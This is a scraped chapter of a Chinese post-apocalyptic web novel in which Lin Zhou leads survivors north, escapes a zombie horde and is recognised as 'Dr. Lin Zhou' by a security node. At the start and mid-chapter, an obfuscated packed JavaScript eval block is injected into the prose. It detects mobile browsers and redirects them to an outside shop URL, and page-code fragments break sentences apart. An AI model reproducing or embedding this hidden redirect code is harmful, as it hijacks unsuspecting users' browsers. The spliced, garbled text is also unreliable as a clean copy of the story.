;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388037|200290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是短时间内能完成的事情。所以,我们要先北上。” “北上?” “我们吗?”人群里有人发出疑问,“可路上那么危险,我们能安全到达吗?” “是啊,我们里面还有老人和孩子,禁不住长途跋涉。” 林昼说道:“往北边,考虑到我们所有人的情况,大概是两个月的路程。那边有一个很大的哨站,是最早一批建起来的监测站之一,外围有围墙基础,地下设施完备,我们可以以那里为依托,慢慢扩建。” 林昼的声音很沉稳,莫名让人信服:“我不会勉强所有人跟我一起走,考虑好之后还是想回禹城的,我会送你们回去;决定好跟我一起出发的,我也不能保证你们的安全。我希望你们考虑清楚,再做决定。” 郭离不由想起,林昼原本的计划是要南下,去白塔区的,现在却为了这群陌生人而选择北上,这样的人,跟着是不会有错的。 郭离往前站了一步,郑重地说:“不管你去哪里,我跟定你了!”他靠近林昼的动作,让封宵撇了他一眼,老头看着封宵的动作若有所思。 卢双玲也没有丝毫犹豫,她站到林昼旁边。程远是第三个,老奶奶是第四个。 “我这个老太婆,跟着你们,会不会拖后腿啊?” 林昼摇摇头:“不会。” “那就好,我放心来了。” 最后只剩老奶奶的那个朋友,还有一个抱着小孩的女人没站出来。 “我……我就不去了,我宁愿在禹城等死,也不想……不想再看到怪物……” 老奶奶和她差了二十多岁,但关系很好,她转头对林昼说道:“小林,你别怪她。” 对未知恐惧是人之常情,林昼没有劝他们:“好,决定好了,我就送你们回去。” 送别没有花费太久时间,老奶奶很舍不得,但她好像见惯了离别,只看了两眼就回到车上,说道:“走吧。” 车子再次发动,引擎的低鸣在旷野上显得格外清晰,车队缓缓驶上北上的公路。太阳从云层后面露出半个脸,光线不算刺眼,温温吞吞地洒在车窗上。 他们将要带着未知,奔向重建家园的希望。而死去的人,在那片土堆里,永远长眠于地底下。 林昼开着车,车里很安静,车轮碾过碎石的咯吱声有一下没一下地响着。 郭离开着后面那辆车,卢双玲和老头也去了后面的车厢里热闹,时不时传出来笑闹声,隔着距离听不真切,像是一副画外的背景音。现在这辆车里就剩他们两个人。 封宵忽然开口:“哥。” “嗯。”林昼应了一声,他是越来越习惯封宵的存在了。 见封宵不说话,林昼侧头看了他一眼:“怎么了?” “哥,你之前……不是说要去白塔区吗?什么时候去?” 林昼觉得封宵好像想说什么,他的语气里带着某种期待的试探。 “等他们在基地安顿好吧。” “是不是要等很久?”他的话里带了一丝急切。 林昼忽然觉得,封宵在希望他快点去白塔区,他看了一眼封宵,他的表情很平静,好像这只是他自己的错觉。 妈妈,你再等等吧。封宵看着窗外,在心里说了一句。 车子继续前行,他们的路还很长。 26.新的危机 “林哥,我们省着吃还能撑多久?”没想到仅仅过去三天,他们就遇到了新的问题。 随着人员增多,他们从安垣市哨站带出来的物资根本没办法支撑他们两个月。而且天气也在变,他们出发的时候,太阳晒在身上还是暖洋洋的,走了一天之后就变了。 现在风刮过来,带着明显的寒意。路边的野草被风吹得东倒西歪,发出簌簌的声响,像是在提醒他们,冬天就要来了。 越往北,冬天来得越早。他们必须再次找到哨站补充物资,不光是吃的,还有御寒的东西。 这天在广场扎营休整的时候,林昼还在查看坐标寻找最近的哨站,脑海里又有一个新的问题浮现,要是队伍里有人进过哨站之后不愿意再离开怎么办? 在他记忆里,所有哨站里面只有北边亚玛区的哨站适合生存,其他哨站都只能作为紧急安全通道和临时休息区。 他叹了口气,靠向背后的石墩,打开平板调出这一带的地图。他的手指在屏幕上滑动,把脑子里记下来的那些坐标一个一个输入进去,不停地对比,筛选。这些哨站和临时休息区,大部分集中在城市外围和交通要道附近,用来给外勤队伍提供补给和休整。 林昼的手指停在一个坐标上,那里离他们现在的位置不到半天路程。他调出哨站的详细信息,正要往下翻,车上的监测系统突然发出警报。 封宵第一个反应过来,他从石墩上跳下来,站到林昼旁边,表情严肃:“哥,它们来了。” 郭离两步蹿到车边,探头去看监测屏幕,然后他的脸上突然变了:“林哥,有一大片红点在向我们靠近。” “大家快上车,东西都不要了!”林昼一挥手,所有人立刻往车上跑,奶奶想去捡他们掉在地上的水壶,被人一把拉住拖着就走。 卢双玲协助大伙上车,迅速清点人数,人齐之后,她才跳上车。郭离在驾驶座就位,前面林昼已经踩下油门,车身冲出去,他马上跟随其后。 还好来的是腐行尸群,不是变异体,但也追到了车尾不到二十米的地方。 林昼看着屏幕上密密麻麻的光点,想不明白是什么原因促使这些腐行尸向他们靠近,更要命的是他们要去的哨站周围也全是光点。 监测系统估算靠近的腐行尸数量在五十到八十之间,封宵问道:“需要我去解决吗?” “不,我不希望别人知道你的情况,也不希望你一个人去冒险。” 封宵看着林昼指出的坐标,附近全是光点,他问道:“那能绕过去吗?” 林昼摇摇头:“绕不过去。不管从哪个方向接近,都要经过那片区域。” “坐稳了!”林昼喊了一声,方向盘猛地向左一打,车身甩出一个急弯。装载车厢里传来一阵东倒西歪的碰撞声,但是没有人呼喊尖叫。 路上的腐行尸察觉到动静,也从四面八方涌过来,甚至从路边的沟渠里爬出来,身上挂着黑臭的泥水,踉跄着扑向车队。 一只腐行尸抓住了车厢外的梯子,指甲嵌在铁管上,发出刺耳的刮擦声。 郭离从后视镜里看到那只手,骂了一声,猛地左右打方向,车身剧烈摆动,但那只腐行尸还稳稳挂在车上。 “我来!”卢双玲壮着胆子,提起一根铁棒,打开车厢侧面的小窗,探出半个身子,对着那只手狠狠砸下去,直到砸断那根手骨,她才缩回去,马上关上窗户。 腐行尸被甩到路边,滚了两圈又再次爬起来,朝着车队的方向追逐。 林昼的车在前面开路,他的目光在前方的路况和后视镜之间飞快切换,封宵坐在副驾驶上,一只手按在车门把手上,身体微微前倾,随时准备冲出去。 “前面有个弯道,过去有一片水域,应该能让他们的速度降下来。”林昼的声音通过车上的通讯系统传递到郭离车上,“郭离,跟紧我。” “收到。” 车子冲过弯道的时候,林昼习惯性地扫了一眼后视镜,灰黑色的浪潮紧跟在后,占据了镜子里大片的视野,正当他准备收回目光的时候,忽然停住了。 在尸群的最后,他看见了一个人影。 那个人站得很直,头微微抬起,望着他们远去的方向。隔着这么远的距离,林昼看不清他的脸,等他想再看一眼的时候,一眨眼的功夫,人不见了。 他眼花了吗?还是路边的枯树被风吹成了人形? “哥?”封宵的声音把他拉回来,他立马踩下油门提速。 车队冲过弯道,从桥上碾过去,与尸群的距离逐渐拉大。林昼又想起来刚刚看到的人影,如果那真是个人,是使用了拟态药剂?还是说……他看向封宵。 封宵也看着他:“怎么了,哥?” “你能感知到怪物吧?刚刚有没有感知到什么特别的?” “没有。” 车队继续朝着目的地前行,就快接近的时候,封宵忽然偏过头,目光穿过车窗,落在右前方的草丛里。 “哥,那边有人。” 林昼顺着他的方向看过去,一个年轻人正在杂草丛里狂奔,身后跟着七八只腐行尸,那人动作很快,但是明显力竭,脚步发飘,好几次险些绊倒。 “封宵!” 封宵正等着林昼发令,车门打开的瞬间,冷风灌进来,封宵只用了三秒就冲到那个年轻人身边,抓住他的后领抡起来,拽着扔到后座。 封宵跟着一跃,翻进副驾驶,稳稳坐下。 那人瘫坐在后座上,大口大口地喘着气,脸上全是污渍,看不清表情,但林昼总觉得好像在哪里见过这个人。 “谢……谢谢……”他开口,声音带着劫后余生的颤抖,“我还以为我死定了。” 林昼看着前路,回答道:“没事就好。” 那人的目光在车里扫了一圈,落在封宵身上,停了一瞬,最后看向林昼时,他的嘴角微微弯起,眼神发亮,像是猎人看到猎物踩到陷阱时一样兴奋。 只是一个瞬间,他的脸上又浮现出惊恐的表情:“还好遇到你们……真的谢谢,请问怎么称呼?” 林昼的视野里出现一座桥梁,它横亘在一条浑浊的河流上方,巨大的骨架勾勒出一道苍凉的剪影。桥身锈迹斑斑,布满了岁月的伤痕,但主体结构相对完整。 “林。”林昼回答了那个陌生人。 他的目光越过桥梁,望向桥头的后方,紧贴着陡峭的河岸岩壁上有一个几乎与山岩融为一体的金属结构入口。 入口上方,一个被藤蔓覆盖的圆形标志依稀可见。 找到了。 他的父亲林远洲,曾经参加过早期一些安全节点的设计评估,他还是个孩子的时候就已经能画出父亲草稿上的结构图,浮罗达工程部队专用的符号,他并不陌生。 林昼打开通讯频道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393978|200290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全速过桥,在桥头建立防线,准备炸桥断后!” 越野车冲在最前面,嘶吼着冲向河谷。 “它们追上来了!”郭离的声音从通讯频道传出来,“林哥,后面有大家伙!不是腐行尸!” 林昼心头一紧:“冲过桥,跟我建立桥头防线,保护他们先进安全通道!” 越野车终于冲过漫长的桥面,林昼和封宵一起跳下车,依托着桥头残存的混凝土墩架起了枪。 装载车后面,有几只怪物紧随其后,四肢关节反向扭曲,如同巨大的蜘蛛,在桥梁钢架和残骸上高速攀爬跳跃。 林昼的子弹打在它们身上,火星四溅,效果甚微。 郭离的车终于到达:“下车!快!” 老张,也就是老头,他没有急着去安全通道,他从车里也抓起一把枪,依托着另一侧的墩子架起来,姿势出奇的标准。 “看我宝刀未老!”老张豪迈地说完,眯起一只眼睛,一枪击中怪物的腹部,那只怪物从钢梁上坠落,另一只接上去,被老张一枪打爆了复眼。 “行啊,老头,还没有老眼昏花呢。”封宵在一旁赞叹道。 大伙互相搀扶着,跟着卢双玲和郭离往那扇金属门撤离。 郭离冲到前面,一把扯掉门上的藤蔓,露出一个嵌入岩壁的电子面板。他的手掌拍上去,屏幕亮了,弹出一串密密麻麻的字符和验证框。 他按林昼教的方法在上面打了一通,屏幕上闪着红光,字符跳出来:“拒绝访问。” “高级加密……浮罗达军用级……协议……”郭离的声音越来越小,“该死,高级权限,根本打不开啊!” 人们聚集起来,挤在门洞前,听着身后越来越近的怪物嘶吼声和激烈的枪声,绝望如同潮水般快要将他们淹没。 郭离又试了一次,再一次被拒绝。 时间一分一秒过去。 “我们要死在这里了!”有人喊了一声,声音都变了形。 “我们……只能走到这里了吗?”一个中年人腿在发抖,他望向林昼,恐惧变了质,“都是林昼带我们来这里的!还说带我们建什么家园,现在都要死了!” 他的话一出,另一个也开口:“对啊,要不是跟他走,我们待在禹城还能多活几天!” “我们不该信他……” “够了!”郭离一声暴喝,额角青筋暴起,“你们有种再说一遍?林哥早就说过,路是你们自己选的,要回禹城早先怎么不说?一路上吃的喝的,哪一样不是林哥在操心?就算死在这,你们能有什么资格怪他!” 人群安静下来,刚刚还在抱怨的人缩了缩脖子,低下头。中年人还想说什么,被旁边的人拉了一把,咽了回去。 林昼发现人群堵在门口,猜到是验证出了问题。他对旁边的封宵和老张说道:“准备撤退。” 林昼很快来到门前,郭离给他让开,他伸出右手,将手掌按在电子识别器上。 “滴——”面板的红光瞬间变成绿色。 一个柔和的电子合成音响起: “掌纹及生物信息验证通过。最高权限确认。 下午好,林昼博士。 欢迎您访问Ω-01安全节点。正在启动内部环境自检与生命维持系统……” 所有人都愣住了:林昼博士?那个浮罗达发明了潘多拉病毒净化剂的林博士?怎么会?